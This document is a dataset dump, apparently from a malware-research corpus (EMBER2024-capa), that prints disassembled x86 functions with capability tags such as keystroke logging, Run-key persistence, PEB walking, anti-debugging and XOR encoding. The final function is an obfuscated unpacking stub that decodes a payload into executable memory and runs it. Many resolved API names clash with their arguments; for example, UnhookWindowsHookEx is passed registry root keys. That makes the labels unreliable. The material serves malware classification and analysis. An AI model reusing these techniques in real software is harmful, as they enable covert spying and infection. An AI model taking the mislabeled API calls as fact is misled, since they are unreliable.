joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405478
Capabilities:
Move file

Disassembly:
push ebx
push esi
add esp, 0xfffffef8
mov ebx, eax
cmp dword [ebx + 0x10], 0
jne 0x4054b3
push 0x105
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_MoveFileA
mov eax, esp
mov dl, 1
call fcn.004056b4
mov esi, eax
mov dword [ebx + 0x10], esi
test esi, esi
jne 0x4054b3
mov eax, dword [ebx + 4]
mov dword [ebx + 0x10], eax
mov eax, dword [ebx + 0x10]
add esp, 0x108
pop esi
pop ebx
ret

Function at 0x4054fc
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x405690
call sub.KERNEL32.DLL_MulDiv
mov esi, eax
test esi, esi
je 0x405564
push 0x4056a0
push esi
call sub.KERNEL32.DLL_MultiByteToWideChar
mov ebx, eax
test ebx, ebx
je 0x405564
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x405564
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
jmp 0x405686
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x4055a4
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x405686
mov eax, dword [ebp - 4]
add eax, 2
call fcn.004054e8
mov esi, eax
cmp byte [esi], 0
je 0x405686
lea eax, [esi + 1]
call fcn.004054e8
mov esi, eax
cmp byte [esi], 0
je 0x405686
jmp 0x4055aa
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
jmp 0x405669
lea eax, [esi + 1]
call fcn.004054e8
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x405686
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_SetEndOfFile
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
mov esi, eax
cmp esi, 0xffffffff
je 0x405686
push esi
call sub.KERNEL32.DLL_InitializeCriticalSection
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetErrorMode
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x405686
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_SetEndOfFile
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetErrorMode
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x4055c8
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4056b4
Capabilities:
Clear file content
Extract resource via kernel32 functions
Move file
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_MoveFileA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4058e4
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x405737
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4058e4
push 0x80000002
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
je 0x405737
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405900
push 0x80000001
call sub.user32.dll_UnhookWindowsHookEx
test eax, eax
jne 0x4057c0
xor eax, eax
push ebp
push 0x4057b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004054fc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40579e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405920
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UnregisterClassA
test eax, eax
je 0x40579e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4057c0
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_TranslateMessage
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetEndOfFile
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_ResetEvent
push eax
call sub.KERNEL32.DLL_LockResource
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4058da
cmp byte [ebp - 0xd], 0
jne 0x405807
cmp byte [ebp - 0x12], 0
je 0x4058da
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetErrorMode
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405820
dec ebx
cmp byte [ebx], 0x2e
je 0x40582f
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40581f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4058da
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40586c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov esi, eax
test esi, esi
jne 0x4058da
cmp byte [ebp - 0xd], 0
je 0x4058da
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov esi, eax
test esi, esi
jne 0x4058da
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetEndOfFile
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405fac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406012
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_LockResource
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004042dc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402cc0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405ffc
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406019
lea eax, [ebp - 0x10]
call fcn.0040406c
ret

Function at 0x408216
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.0040432c
push eax
mov eax, esi
call fcn.0040452c
push eax
mov eax, ebx
call fcn.0040432c
push eax
mov eax, ebx
call fcn.0040452c
push eax
push 0
push 0x400
call sub.user32.dll_GetKeyNameTextA
sub eax, 2
pop esi
pop ebx
ret

Function at 0x408228
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
call fcn.0040432c
push eax
mov eax, esi
call fcn.0040452c
push eax
mov eax, ebx
call fcn.0040432c
push eax
mov eax, ebx
call fcn.0040452c
push eax
push 1
push 0x400
call sub.user32.dll_GetKeyNameTextA
sub eax, 2
pop esi
pop ebx
ret

Function at 0x408278
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
push ebx
push edi
push ebx
push esi
push 1
push 0x400
call sub.user32.dll_GetKeyNameTextA
sub eax, 2
pop edi
pop esi
pop ebx
ret

Function at 0x408285
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
push ebx
push edi
push ebx
push esi
push 1
push 0x400
call sub.user32.dll_GetKeyNameTextA
sub eax, 2
pop edi
pop esi
pop ebx
ret

Function at 0x408884
Capabilities:
Get keyboard layout

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
or eax, 0xffffffff
mov esi, ebx
and esi, 3
cmp esi, 2
ja 0x4088d7
mov edx, ebx
and edx, 0xf0
cmp edx, 0x40
ja 0x4088d7
push 0
push 0x80
push 3
push 0
mov eax, ebx
and eax, 0xf0
shr eax, 4
mov eax, dword [eax*4 + 0x48414c]
push eax
mov eax, dword [esi*4 + 0x484140]
push eax
mov eax, edi
call fcn.0040452c
push eax
call sub.user32.dll_GetKeyboardLayoutList
pop edi
pop esi
pop ebx
ret

Function at 0x4088dc
Capabilities:
Get keyboard layout

Disassembly:
push ebx
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, ebx
call fcn.0040452c
push eax
call sub.user32.dll_GetKeyboardLayoutList
pop ebx
ret
Function at 0x40c51c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c5f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404104
lea eax, [ebp - 8]
call fcn.0040457c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040452c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c5dc
mov eax, ebx
call fcn.004026ec
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c5d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.0040452c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c5bf
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c604
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c5bf
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c5dc
mov eax, dword [ebp - 0x10]
call fcn.0040270c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c5f9
lea eax, [ebp - 8]
call fcn.0040406c
ret

Function at 0x40ca68
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, edx
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x40cafe
cmp byte [esi], 0
je 0x40cafe
test ebp, ebp
je 0x40cafe
cmp byte [ebp], 0
je 0x40cafe
mov eax, esi
call fcn.00408c20
mov dword [esp], eax
mov eax, ebp
call fcn.00408c20
mov edi, eax
mov edx, ebp
mov eax, esi
call fcn.00408db8
mov ebx, eax
jmp 0x40caeb
mov edx, ebx
sub edx, esi
mov eax, esi
call fcn.0040c6a4
mov byte [esp + 4], al
cmp byte [esp + 4], 2
je 0x40cad7
push edi
push ebp
push edi
push ebx
push 0
push 0x400
call sub.user32.dll_GetKeyNameTextA
cmp eax, 2
je 0x40cafe
cmp byte [esp + 4], 1
jne 0x40cadf
inc ebx
inc ebx
mov edx, ebp
mov eax, ebx
call fcn.00408db8
mov ebx, eax
test ebx, ebx
je 0x40cafc
mov eax, ebx
sub eax, esi
mov edx, dword [esp]
sub edx, eax
cmp edi, edx
jbe 0x40caac
xor ebx, ebx
mov eax, ebx
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40d520
Capabilities:
Get keyboard layout

Disassembly:
push ebx
push esi
test dl, dl
je 0x40d52e
add esp, 0xfffffff0
call fcn.004035bc
mov ebx, edx
mov esi, eax
xor edx, edx
mov eax, esi
call fcn.00403268
mov dword [esi + 0xc], 0xffff
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [esi + 0x10], eax
push 0
push 0
push 0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], 0xffffffff
mov dl, 1
mov eax, dword [0x407e1c]
call fcn.00403268
mov dword [esi + 0x20], eax
mov eax, esi
test bl, bl
je 0x40d58d
call fcn.00403614
pop dword fs:[0]
add esp, 0xc
mov eax, esi
pop esi
pop ebx
ret
Function at 0x41e198
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 4], edx
call sub.user32.dll_GetTopWindow
mov edx, dword [0x486584]
cmp eax, dword [edx]
jne 0x41e1bf
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call dword [ebx + 8]
jmp 0x41e2d2
push 0
push 0
push 0xffffffffffffffff
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x41e2ba
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x48786c
call sub.user32.dll_GetMenuItemCount
xor eax, eax
push ebp
push 0x41e29c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4843f8], 0
jne 0x41e20f
mov dl, 1
mov eax, dword [0x415200]
call fcn.00403268
mov dword [0x4843f8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0xc]
mov eax, dword [0x4843f8]
call fcn.0041775c
call fcn.0041dd2c
cmp word [0x4843e6], 0
je 0x41e242
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [0x4843e8]
call dword [0x4843e4]
push 0x48786c
call sub.user32.dll_PostMessageA
xor eax, eax
push ebp
push 0x41e27d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_SetForegroundWindow
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41e284
push 0x48786c
call sub.user32.dll_GetMenuItemCount
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x420a5c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x420a62
ret

Function at 0x4227e4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 0x14]
call fcn.00421f78
push eax
call sub.user32.dll_GetCursorPos
mov eax, dword [ebx + 0x14]
call fcn.00421f78
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_EnableWindow
mov eax, dword [ebx + 0x14]
call fcn.00422058
test al, al
jne 0x422837
mov eax, dword [ebx + 0x14]
call fcn.00421f3c
call fcn.004212b8
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_EnumThreadWindows
push 2
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_EnumWindows
pop ebx
ret
mov eax, dword [ebx + 0x14]
call fcn.00421f3c
call fcn.004212b8
not eax
push eax
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_EnumThreadWindows
push 1
mov eax, dword [ebx + 4]
push eax
call sub.user32.dll_EnumWindows
pop ebx
ret

Function at 0x432d38
Capabilities:
Read clipboard data

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov edi, ecx
mov esi, edx
mov ebx, eax
push esp
push ebx
call sub.user32.dll_DestroyIcon
push 0
mov eax, dword [esp + 8]
sub eax, edi
push eax
mov eax, dword [esp + 8]
sub eax, esi
push eax
push ebx
call sub.user32.dll_GetClipboardData
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x43f738
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43f8b0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 0xc], eax
mov byte [ebp - 8], 0
lea edx, [ebp - 0xc]
xor ecx, ecx
mov eax, 0x43f8c4
call fcn.004092fc
mov edx, dword [ebp - 4]
mov eax, 0x487b28
call fcn.004040c0
mov eax, dword [0x487b28]
call fcn.0040452c
push eax
call sub.user32.dll_LoadIconA
mov word [0x487b24], ax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [0x487668]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
call sub.user32.dll_GetTopWindow
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x14], 0
lea edx, [ebp - 0x20]
mov ecx, 1
mov eax, 0x43f8d8
call fcn.004092fc
mov edx, dword [ebp - 0x10]
mov eax, 0x487b2c
call fcn.004040c0
mov eax, dword [0x487b2c]
call fcn.0040452c
push eax
call sub.user32.dll_LoadIconA
mov word [0x487b26], ax
mov eax, dword [0x487b2c]
call fcn.0040452c
push eax
call fcn.00406c4c
mov dword [0x487b30], eax
mov dl, 1
mov eax, dword [0x415264]
call fcn.00417b24
mov dword [0x487b68], eax
call fcn.0043f33c
mov dl, 1
mov eax, dword [0x43119c]
call fcn.0043f164
mov dword [0x487b18], eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x44a57c]
call fcn.004511cc
mov edx, dword [0x486550]
mov dword [edx], eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x44a654]
call fcn.004522b0
mov edx, dword [0x48631c]
mov dword [edx], eax
mov eax, dword [0x48631c]
mov eax, dword [eax]
mov dl, 1
call fcn.00453ec0
mov ecx, 0x4314fc
mov edx, 0x43150c
mov eax, dword [0x42f298]
call fcn.00417280
push 0x43f8ec
call sub.user32.dll_InvalidateRect
mov ebx, eax
test ebx, ebx
je 0x43f892
push 0x43f8f4
push ebx
call sub.user32.dll_IsChild
mov dword [0x4849e8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43f8b7
lea eax, [ebp - 0x10]
call fcn.0040406c
lea eax, [ebp - 4]
call fcn.0040406c
ret
Function at 0x463b14
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x463b1c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x463d0e
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x463d24
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004040c0
lea ecx, [ebp - 0x10]
mov edx, 0x463d38
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004040c0
lea ecx, [ebp - 0x14]
mov edx, 0x463d50
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004040c0
lea ecx, [ebp - 0x18]
mov edx, 0x463d6c
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004040c0
lea ecx, [ebp - 0x1c]
mov edx, 0x463d88
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004040c0
lea ecx, [ebp - 0x24]
mov edx, 0x463da0
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408298
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408678
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x463db8
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x28]
call fcn.0045b344
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x463dc8
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x2c]
call fcn.0045b344
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x463de0
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408678
inc eax
je 0x463cb1
lea ecx, [ebp - 0x34]
mov edx, 0x463de0
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x34]
call fcn.0040863c
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.00409bcc
fstp qword [ebp - 0x3c]
wait
call fcn.00409f30
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x463ccc
lea ecx, [ebp - 0x40]
mov edx, 0x463de0
mov eax, esi
call fcn.004619a0
mov eax, dword [ebp - 0x40]
call fcn.0045b344
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x463df0
mov eax, esi
call fcn.004619a0
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004040c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x463d15
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404090
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404090
ret
Function at 0x46aaa0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x46aafa
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.0046aa90
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.00459fb0
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00459bb0
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ab01
lea eax, [ebp - 4]
call fcn.0040406c
ret

Function at 0x470d4c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x470d7a
mov eax, ebx
call fcn.00471800
cmp dword [ebx + 0x40], 0
je 0x470d73
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x470deb
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x470ddd
cmp dword [ebx + 8], 0
je 0x470d9c
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x470dae
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x470ddd
cmp dword [ebx + 8], 0
je 0x470d8f
cmp eax, 3
je 0x470dc1
dec eax
jne 0x470d8f
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x470d8f
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x470d8f
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x470e09
cmp dword [ebx + 0x14], 0xcc
je 0x470e09
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00470e14
pop ebx
ret

Function at 0x482488
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.0040451c
mov eax, dword [ebp - 8]
call fcn.0040451c
xor eax, eax
push ebp
push 0x48253b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x42d1c8]
call fcn.0042d2c8
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x48250e
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0042d368
mov cl, 1
mov edx, 0x482554
mov eax, dword [ebp - 0xc]
call fcn.0042d3cc
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.0042d568
mov eax, dword [ebp - 0xc]
call fcn.00403298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x482520
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x482542
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404090
ret
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1004d7ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1004d7fb
pop dword [ebp - 0xc]
mov eax, 0x1004d7fb
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x7ca980ad
sub dword [ebp - 0x1c], 0x2e573b62
mov dword [ebp - 0x18], 0x32627ca6
add dword [ebp - 0x18], 0xffd0cf9f
mov dword [ebp - 0x14], 0x5aa566d4
add dword [ebp - 0x14], 0xf1a6dd5a
mov dword [ebp - 0x10], 0x289420ac
add dword [ebp - 0x10], 0xd76bdf54
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x46a0a8e9
sub eax, 0x3699a7dd
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x49bf0459
sub dword [ebp - 0x1c], 0xd54c9b03
mov dword [ebp - 0x18], 0x6001ff96
sub dword [ebp - 0x18], 0x1e959e21
mov dword [ebp - 0x14], 0x6c03ecf1
add dword [ebp - 0x14], 0xf76b7f7b
mov dword [ebp - 0x10], 0x10578285
sub dword [ebp - 0x10], 0x10578285
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x464b8ad1
add eax, 0xc9bb756f
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x6b1f6
push 0
call eax
mov ecx, 0x5345
xor ebx, ebx
add ebx, eax
mov esi, 0xd9b5a77a
sub esi, 0xc9ad5b7a
add esi, dword [ebp - 0xc]
mov edx, 0x968ed9ef
add edx, 0x124d3dfb
xor dword [ebp - 8], 0x3be50a1b
mov edi, dword [esi]
xor dword [ebp - 4], esi
xor edi, edx
mov dword [ebp - 8], 0xc202d8e7
mov dword [ebx], edi
sub dword [ebp - 8], 0x70b18b70
add ebx, 0xe3727c58
sub ebx, 0xe3727c54
add esi, 0x314f0f20
add esi, 0xceb0f0e4
loop 0x1004d914
add eax, 0x13fe7
mov ebx, eax
add eax, 5
mov ecx, 0x3361b996
sub ecx, 0x2361b996
add ecx, dword [ebp - 0xc]
call ebx
leave
ret